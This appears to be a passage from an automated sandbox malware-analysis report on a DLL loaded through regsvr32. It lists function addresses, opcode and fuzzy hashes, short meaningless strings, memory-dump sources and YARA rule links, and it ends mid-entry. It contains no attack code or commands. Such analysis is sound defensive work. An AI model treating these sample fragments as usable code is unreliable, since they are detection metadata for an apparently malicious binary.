Opcode ID: 13dcfdf2b547f47b8e652e45a129a81bd12d479633329dbfd5d4c9c90b2a7465
Instruction ID: be835d82a8a11271eaf2d0d4144821f845ce411821323c63ff6fa91e08a90877
Opcode Fuzzy Hash: 13dcfdf2b547f47b8e652e45a129a81bd12d479633329dbfd5d4c9c90b2a7465
Instruction Fuzzy Hash: 2F82FC7190478C8BDBBDCF24C8466DE7BE1FB88744F104A1DEA5A8A350D7B49785CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800270C0 Relevance: 6.9, Strings: 5, Instructions: 672COMMON

Download Yara Rule

Strings

3'p, xrefs: 0000000180027483
AVx., xrefs: 0000000180027CF1
%, xrefs: 0000000180027A74
|7}, xrefs: 0000000180027EB6
R@\, xrefs: 0000000180027748

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$3'p$AVx.$R@\$|7}
API String ID: 0-1377184578
Opcode ID: 42416e948d3c9d06b93ab1f3a8ba6bb7b4031ce7609dd7b48ddc645cdcf3989a
Instruction ID: 11bdd15b6fdebef4e4e33012fe2102d5287f0ed75640ad066b8b9400528ec4a7
Opcode Fuzzy Hash: 42416e948d3c9d06b93ab1f3a8ba6bb7b4031ce7609dd7b48ddc645cdcf3989a
Instruction Fuzzy Hash: F0820774604BC88BDBB8DF24DC857CD7BE0FB86305F20561DD95E9AA60CBB89645CB02

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002D28 Relevance: 6.8, Strings: 5, Instructions: 514COMMON

Download Yara Rule

Strings

.s, xrefs: 00000001800030F4
W0, xrefs: 00000001800031D3
89, xrefs: 0000000180002E9E
j~L, xrefs: 0000000180002EC4
/$*, xrefs: 0000000180002F2C

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .s$/$*$89$W0$j~L
API String ID: 0-3680180293
Opcode ID: b1eb1fe3fa88397c885ab509abe1c858ffcdb74bf15ef161dec0971567ed18e8
Instruction ID: f5b8073de7550f00aae71ce47ac4d0d330c984d331b26572373d31fffc6277f7
Opcode Fuzzy Hash: b1eb1fe3fa88397c885ab509abe1c858ffcdb74bf15ef161dec0971567ed18e8
Instruction Fuzzy Hash: 9332237050C7848FC369DF68C58A65EBBF0FB8A744F004A1EF68687260D7B6D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A5D8 Relevance: 6.6, Strings: 5, Instructions: 339COMMON

Download Yara Rule

Strings

DHM, xrefs: 000000018002A941
J? , xrefs: 000000018002A763
ioF, xrefs: 000000018002A783
:_, xrefs: 000000018002A6AC
IE, xrefs: 000000018002A956

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :_$DHM$J? $ioF$IE
API String ID: 0-1950181368
Opcode ID: 259697ebe02e240ff157c8cb6796f3c563015099138ecee0effd1804923e127d
Instruction ID: dfce06ae3f2776b2053eb0988bfb390665c026a97965fcc171ceda4eb787facd
Opcode Fuzzy Hash: 259697ebe02e240ff157c8cb6796f3c563015099138ecee0effd1804923e127d
Instruction Fuzzy Hash: 4E02F470A0470DEFDB99DF68C089A8EBBF1FB48344F40856AE809EB250D7749A59CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E130 Relevance: 6.6, Strings: 5, Instructions: 305COMMON

Download Yara Rule

Strings

\=V, xrefs: 000000018000E457
wPT, xrefs: 000000018000E274
h9&, xrefs: 000000018000E1D6
n", xrefs: 000000018000E164
5Z3, xrefs: 000000018000E36F

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: \=V$h9&$n"$wPT$5Z3
API String ID: 0-226182706
Opcode ID: ce1cfba10c1d8d8dcb7fefef68f5dbb71196a1667c8063e3a43dba33cd0a9cce
Instruction ID: 86bcb4527d36acdb60297ed143c12856cad003a08b6179b63c097fe4f6929213
Opcode Fuzzy Hash: ce1cfba10c1d8d8dcb7fefef68f5dbb71196a1667c8063e3a43dba33cd0a9cce
Instruction Fuzzy Hash: F7E11871A0468C8BDF59CFE8C48ABDDBBF2FB54348F004129D906BB298D774951ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013994 Relevance: 6.5, Strings: 5, Instructions: 278COMMON

Download Yara Rule

Strings

5.A, xrefs: 0000000180013AB3
2k, xrefs: 0000000180013C87
Tv, xrefs: 0000000180013B60
h, xrefs: 0000000180013BB0
|, xrefs: 0000000180013DF6

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 2k$5.A$h$Tv$|
API String ID: 0-899094025
Opcode ID: db2f60ac8ea9c811a7e8a42be398396c7662d8ce257af2786f0ca87739e0812c
Instruction ID: fdc8e1fcc57a9d708ca924da4610569f3fbcb91b13fa75a00635c4e08a114872
Opcode Fuzzy Hash: db2f60ac8ea9c811a7e8a42be398396c7662d8ce257af2786f0ca87739e0812c
Instruction Fuzzy Hash: 2CE1B2B190474C8FDB69CFA8C48969DBFF1FB48348F20421DE869AB262D7749945CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A10C Relevance: 6.5, Strings: 5, Instructions: 210COMMON

Download Yara Rule

Strings

TaK, xrefs: 000000018001A1B7
_, xrefs: 000000018001A296
T, xrefs: 000000018001A166
`H, xrefs: 000000018001A2CF
h, xrefs: 000000018001A205

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: `H$h$T$TaK$_
API String ID: 963392458-2145750592
Opcode ID: ffc2d6b317b26a71c8140759e67952dd965db1d69b0c3f8b48f7c1dc501504e9
Instruction ID: 3659a6701c3bc18b063cae63192a65d6a0dab5b7a081606fb1710f1fc1c5873b
Opcode Fuzzy Hash: ffc2d6b317b26a71c8140759e67952dd965db1d69b0c3f8b48f7c1dc501504e9
Instruction Fuzzy Hash: 8FA10771D087188FDB68DFA9D8856CDBBF1FB48308F20421DE45AA7252DB70A945CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002975C Relevance: 5.5, Strings: 4, Instructions: 484COMMON

Download Yara Rule

Strings

{NC, xrefs: 0000000180029C32
^K, xrefs: 0000000180029AD7
Bwu, xrefs: 0000000180029EFD
L>yL, xrefs: 0000000180029A5A

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Bwu$L>yL${NC$^K
API String ID: 0-3175627499
Opcode ID: 50b0aea139128d6f7c402ec74795df524ca4165021b819f0d064fd60e31d3d12
Instruction ID: fbf4dbbb098cc7df43bbc7889590cb4d1f5602d02220e4776b40022e4a41187c
Opcode Fuzzy Hash: 50b0aea139128d6f7c402ec74795df524ca4165021b819f0d064fd60e31d3d12
Instruction Fuzzy Hash: 13322B70908B488FE769CF78C48665EBBF0FB84748F204A1DE6A697270DB749945CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021738 Relevance: 5.5, Strings: 4, Instructions: 483COMMON

Download Yara Rule

Strings

dS, xrefs: 0000000180021E7D
%, xrefs: 00000001800220F1
N'}, xrefs: 0000000180021C2C
Od^v, xrefs: 0000000180021933

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$N'}$Od^v$dS
API String ID: 0-4183360357
Opcode ID: 3e0f3c17ca57f4ad1f3f1084ac04447848ab7be5cba89c2bccd8803fee9248a0
Instruction ID: 281f3f4e81126c35bb2be7146c604e5ee0be10d432db17f45780181539d507de
Opcode Fuzzy Hash: 3e0f3c17ca57f4ad1f3f1084ac04447848ab7be5cba89c2bccd8803fee9248a0
Instruction Fuzzy Hash: 3342D9B190438C8BDBB8CF64C8896DD7BF1FB48318F50852DDA199B251DBB05685CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800252C0 Relevance: 5.3, Strings: 4, Instructions: 285COMMON

Download Yara Rule

Strings

__Z%, xrefs: 000000018002535D
|deb, xrefs: 000000018002537F
+Gq, xrefs: 0000000180025679
sH, xrefs: 00000001800254B9

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: +Gq$__Z%$|deb$sH
API String ID: 0-2072550713
Opcode ID: 094eb7f958d011cdb8ce81038bafb84045d4698861e966cd2ff6582630ea1e3f
Instruction ID: 26b4cb1fb47336c1432c1659c452027cf20818b998f95a2bcb6bb32f36742f2f
Opcode Fuzzy Hash: 094eb7f958d011cdb8ce81038bafb84045d4698861e966cd2ff6582630ea1e3f
Instruction Fuzzy Hash: 0FD1137160270DCBDB68DF28C68A6DE3BE1FF48308F504129FC5A96262D774D929CB49

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000403C Relevance: 5.3, Strings: 4, Instructions: 279COMMON

Download Yara Rule

Strings

5P, xrefs: 00000001800044DE
:=, xrefs: 000000018000423F
xX, xrefs: 0000000180004380
8r, xrefs: 000000018000410D

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 5P$8r$:=$xX
API String ID: 0-2901174047
Opcode ID: 6865726b2104b4eb7ff299f8486c8d696ddfefbd7c25c2068e726a6c762a58db
Instruction ID: 9c4e4b6ab2cee8fe4f9bfbf45665c48137a45671121b1b9ae43ff9fbf3dba1fc
Opcode Fuzzy Hash: 6865726b2104b4eb7ff299f8486c8d696ddfefbd7c25c2068e726a6c762a58db
Instruction Fuzzy Hash: 35E1357191034D9BCB88DF64C8899DD7BF1FB48398F516219FC4AAB260C7789585CF88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019178 Relevance: 5.3, Strings: 4, Instructions: 258COMMON

Download Yara Rule

Strings

WW, xrefs: 0000000180019528
Ro, xrefs: 0000000180019427
&, xrefs: 0000000180019348
X|, xrefs: 000000018001950F

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &$Ro$X|$WW
API String ID: 0-419055892
Opcode ID: ca40c88e9c0bb890938dc8e49850b9c6f80446ec0944c9f0783c0d192955d258
Instruction ID: 8aa2c3e6b8818245adabd520600babaa531b4d52059a868131a34f3b668756e0
Opcode Fuzzy Hash: ca40c88e9c0bb890938dc8e49850b9c6f80446ec0944c9f0783c0d192955d258
Instruction Fuzzy Hash: 1EC1FDB150570DCBDB68CF28C58A6DE3BE5FB48308F108129FC5A9B2A0D774EA59CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F0A8 Relevance: 5.2, Strings: 4, Instructions: 246COMMON

Download Yara Rule

Strings

tR, xrefs: 000000018001F0FE
6), xrefs: 000000018001F229
uxX4, xrefs: 000000018001F1AC
tR, xrefs: 000000018001F405

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: tR$tR$uxX4$6)
API String ID: 0-566208085
Opcode ID: c081e77f49af2eaf56923f63e50e632cb9bf55942161f3f8d2179c3bd288189e
Instruction ID: 21dbc208fb27f88b672f000d339ef1a4b78a4386f06e48fd8b1f03ba1e8317ad
Opcode Fuzzy Hash: c081e77f49af2eaf56923f63e50e632cb9bf55942161f3f8d2179c3bd288189e
Instruction Fuzzy Hash: 84D1E5705087CC8BDBFEDF68C8857DA7BA8FB44748F104219EA0A9E269CB745749CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018BDC Relevance: 5.2, Strings: 4, Instructions: 245COMMON

Download Yara Rule

Strings

K-~, xrefs: 0000000180018C6B
57, xrefs: 0000000180018BFC
7|, xrefs: 0000000180018F55
`by, xrefs: 0000000180018DC2

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 57$7|$K-~$`by
API String ID: 0-1764728439
Opcode ID: 3d75101ad2ff9bc1d340fad9c74c74685bf15c99ef7bfcf0826df8ee18983ab7
Instruction ID: 0ef0f182f1da72c174031fc5be9a225670cb57be642fb1d84f9edf9d7426cf45
Opcode Fuzzy Hash: 3d75101ad2ff9bc1d340fad9c74c74685bf15c99ef7bfcf0826df8ee18983ab7
Instruction Fuzzy Hash: 5EC1227510160CCBDBA8DF38C48A6DD3BE1FF58308F605129FC2A9A266C7B4D959CB44

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B350 Relevance: 5.2, Strings: 4, Instructions: 243COMMON

Download Yara Rule

Strings

DgQ, xrefs: 000000018000B714
#X, xrefs: 000000018000B6A4
6i, xrefs: 000000018000B5D1
"*, xrefs: 000000018000B6F1

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$"*$DgQ$6i
API String ID: 0-2770996495
Opcode ID: 820f3a7f2831d7bc6be119a51f5435b60720529f940ec106d6c272ece28fcda8
Instruction ID: 504b32a01a029d54a9cc7c4b79b1c57dce6396aa3b2efbc72770fc67d95dc726
Opcode Fuzzy Hash: 820f3a7f2831d7bc6be119a51f5435b60720529f940ec106d6c272ece28fcda8
Instruction Fuzzy Hash: CCB10871A0870CABDFA9DFA8E4896DDBBF1FB44344F00451DE446A7290DB749A0ECB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028998 Relevance: 5.2, Strings: 4, Instructions: 216COMMON

Download Yara Rule

Strings

O:M, xrefs: 0000000180028A0E
p, xrefs: 0000000180028A07
p, xrefs: 00000001800289F5
iJ"], xrefs: 0000000180028B69

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O:M$iJ"]$p$p
API String ID: 0-2745201584
Opcode ID: c580725723075c93842e669fadfa9b9fa9ca71e2e3fa7497301af4adcf51def7
Instruction ID: 8b688321e04c0e646b0fc78ee6d67cd940f90a9f6723fb1f8222d7259e9641f4
Opcode Fuzzy Hash: c580725723075c93842e669fadfa9b9fa9ca71e2e3fa7497301af4adcf51def7
Instruction Fuzzy Hash: 8AB10070D143098BCB89DFA8D486AEEBBF0FB48304F14851EE856B7250D7749A44CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25E01 Relevance: 5.2, Strings: 4, Instructions: 178COMMON

Download Yara Rule

Strings

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 0-1867057952
Opcode ID: 2a9d8457aa34911385b660402f71547a5181f90184c5f28ce50b42f7ee7f8c58
Instruction ID: 7eafebeb16ca57a5525b51ed0f378306bc52b64ad103bedb915b9118f6e813be
Opcode Fuzzy Hash: 2a9d8457aa34911385b660402f71547a5181f90184c5f28ce50b42f7ee7f8c58
Instruction Fuzzy Hash: 1A810C36A18B4586DB94CF59E49072EB7A0F3C4794F610526EACD87BA8DBBED441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016AF4 Relevance: 5.1, Strings: 4, Instructions: 143COMMON

Download Yara Rule

Strings

9\D, xrefs: 0000000180016BDC
OG3, xrefs: 0000000180016D08
8(', xrefs: 0000000180016CE5
6fA, xrefs: 0000000180016CBF

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8('$6fA$9\D$OG3
API String ID: 0-2292045659
Opcode ID: 075f2f4683c67ac2050461b4b976e23f7824189084b04fb6fcbf6660b49be205
Instruction ID: ef0df636cc5d4b1adb12f513697d006f7e6ff77cbfd46ce7bca5e6c4611c7a17
Opcode Fuzzy Hash: 075f2f4683c67ac2050461b4b976e23f7824189084b04fb6fcbf6660b49be205
Instruction Fuzzy Hash: 6E8166B591130DCFDB98CF28C18A5CA3BA8FF55318F00412AFC1E9A264D3B4E959CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020AA0 Relevance: 5.1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

Strings

IzY, xrefs: 0000000180020AE3
!j, xrefs: 0000000180020B50
w4, xrefs: 0000000180020B7E
0Oa, xrefs: 0000000180020BBD

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !j$IzY$w4$0Oa
API String ID: 0-1210086663
Opcode ID: d22984424f9e842513d0b81fbf00519d97f66b1438588327bee25b78db1a615b
Instruction ID: d6ae16ce1753066c3a100fad89cd7b933425bd3752a83aacc50f13ca8011d066
Opcode Fuzzy Hash: d22984424f9e842513d0b81fbf00519d97f66b1438588327bee25b78db1a615b
Instruction Fuzzy Hash: 4E41CFB090034E8BCF88CF65C48A5DE7FB0FB68358F104619E916A6250D7B896A9CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002AF38 Relevance: 4.1, Strings: 3, Instructions: 363COMMON

Download Yara Rule

Strings

!fl, xrefs: 000000018002B3C2
>q, xrefs: 000000018002B162
>q, xrefs: 000000018002B2D9

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !fl$>q$>q
API String ID: 0-3196423155
Opcode ID: dccb224850b43dda665c2028c8e90cf7ac528c4769e1ed18f59b4bae66e0f67a
Instruction ID: 6e0169028e0bb78a63dbed9d1dbc36ce20ef11fe4735bb4ca27ada0b4c61fd75
Opcode Fuzzy Hash: dccb224850b43dda665c2028c8e90cf7ac528c4769e1ed18f59b4bae66e0f67a
Instruction Fuzzy Hash: 18022574A0670CDBCBA9CFA8E48A69DBBF1FF14388F104119F816A7261C7B49919CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006B24 Relevance: 4.0, Strings: 3, Instructions: 284COMMON

Download Yara Rule

Strings

HG, xrefs: 0000000180006E14
"Gd, xrefs: 0000000180006E8F
C2, xrefs: 0000000180006EBC

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "Gd$C2$HG
API String ID: 0-142661339
Opcode ID: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction ID: f3040b85d87bafdcd4b0814e46a5c4b4479db0c4bbfe4c952327208bca537128
Opcode Fuzzy Hash: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction Fuzzy Hash: 20C112719047CD8FDB89CFA8C88A6ED7BB1FB48354F104229F80697660DBB4D949CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023624 Relevance: 4.0, Strings: 3, Instructions: 282COMMON

Download Yara Rule

Strings

W1Z, xrefs: 0000000180023A69
Vu9(, xrefs: 0000000180023B25
QZB, xrefs: 0000000180023706

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: QZB$Vu9($W1Z
API String ID: 0-4157987319
Opcode ID: 1f5c37778751f5a7f2813f46734b265b9b5d3f173c04e1f04c47467fdefc8410
Instruction ID: f699ba934c7511d53ebf66ced97cbd47477d8f387fb8544ab73dfc8f8e8f4cc9
Opcode Fuzzy Hash: 1f5c37778751f5a7f2813f46734b265b9b5d3f173c04e1f04c47467fdefc8410
Instruction Fuzzy Hash: 7DE1E870505B888FDBB9DF24CC897EBBBE1FB84705F10551EE84A9A290DBB49648CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A26C Relevance: 4.0, Strings: 3, Instructions: 277COMMON

Download Yara Rule

Strings

#X, xrefs: 000000018000A546
1c+, xrefs: 000000018000A683
,p, xrefs: 000000018000A3A5

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$1c+$,p
API String ID: 0-4193689514
Opcode ID: 870c2a5dff4c858b49c61e00ad2e43c057056019502a976b576cc033676d3952
Instruction ID: a14642629d5f8cbd2a1e8fb09d7711f81952208659678b8c12dc59c418106fb0
Opcode Fuzzy Hash: 870c2a5dff4c858b49c61e00ad2e43c057056019502a976b576cc033676d3952
Instruction Fuzzy Hash: A0F166B5906749CFCB88DF68C28A58D7BF1BF59304F404129FC1A9A260D3B4E529CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018628 Relevance: 4.0, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

:a, xrefs: 000000018001871C
o1, xrefs: 0000000180018668
F, xrefs: 00000001800186FC

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :a$o1$F
API String ID: 0-2167756397
Opcode ID: 1dc69b1f9148db4d8f727193868d76463b7f9b687988be903e8d180db9dc4b1f
Instruction ID: c7b3f013bdef5c33efa64e5817367d2177fa9b070e37e7fa0e85b95e6b1d5a97
Opcode Fuzzy Hash: 1dc69b1f9148db4d8f727193868d76463b7f9b687988be903e8d180db9dc4b1f
Instruction Fuzzy Hash: 24A10170514609DFCB98DF28C58A6DE3BE1FF58318F40822AFC0A9B264C774DA58DB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008C9C Relevance: 3.9, Strings: 3, Instructions: 186COMMON

Download Yara Rule

Strings

hso, xrefs: 0000000180009054
"7F, xrefs: 0000000180008FC6
|, xrefs: 0000000180008E82

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "7F$hso$|
API String ID: 0-2223032787
Opcode ID: a1c5852e2975669cd72ae99173752b080c1a60bb39e1eda62f5b8b24312d50f2
Instruction ID: 597be8bf6f8274430a7b1b716aee764a508e33f64a18c5174bbc12e988f7dea5
Opcode Fuzzy Hash: a1c5852e2975669cd72ae99173752b080c1a60bb39e1eda62f5b8b24312d50f2
Instruction Fuzzy Hash: CDA1E7716057888FEB7ADF64C8AA7DE7BA1FF59308F40461DD98E8E250C7B45608CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800090B4 Relevance: 3.9, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

ktw, xrefs: 00000001800091B2
eG, xrefs: 00000001800090E5
l$6, xrefs: 0000000180009270

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: eG$ktw$l$6
API String ID: 0-3696190584
Opcode ID: cfb728ef8011932e57c4461def4d81df8b30877acb09ef5991ab02cb5d25377a
Instruction ID: ec7ece3e5b0c03f4df558a0a1733d02cea5b85f33e09dae2f6683fda9d55fcb2
Opcode Fuzzy Hash: cfb728ef8011932e57c4461def4d81df8b30877acb09ef5991ab02cb5d25377a
Instruction Fuzzy Hash: E47114B0509708EFCB98DF68C089A9E7BB1FB88344F40C52EE849DB264C775DA19CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004B18 Relevance: 3.9, Strings: 3, Instructions: 148COMMON

Download Yara Rule

Strings

Z9s, xrefs: 0000000180004C94
%Di|, xrefs: 0000000180004BAF
6qp, xrefs: 0000000180004CB3

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %Di|$6qp$Z9s
API String ID: 0-2690900941
Opcode ID: 036a56b574e0cc9d8bbe6e2c16f1c72bf3a7a337ff5cb561951f94e63896fd73
Instruction ID: 2c0d7369d6c4e2fe59306caeaa3cf354025216a739d91ba443ab140e2def37b4
Opcode Fuzzy Hash: 036a56b574e0cc9d8bbe6e2c16f1c72bf3a7a337ff5cb561951f94e63896fd73
Instruction Fuzzy Hash: 9C61257191070C9BCB88CF24C8C96DE7BB1FB483A8F556219FC0AAA294C7749985CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007678 Relevance: 3.9, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

Fl, xrefs: 0000000180007874
vv5, xrefs: 000000018000780B
Fl, xrefs: 000000018000787C

Memory Dump Source

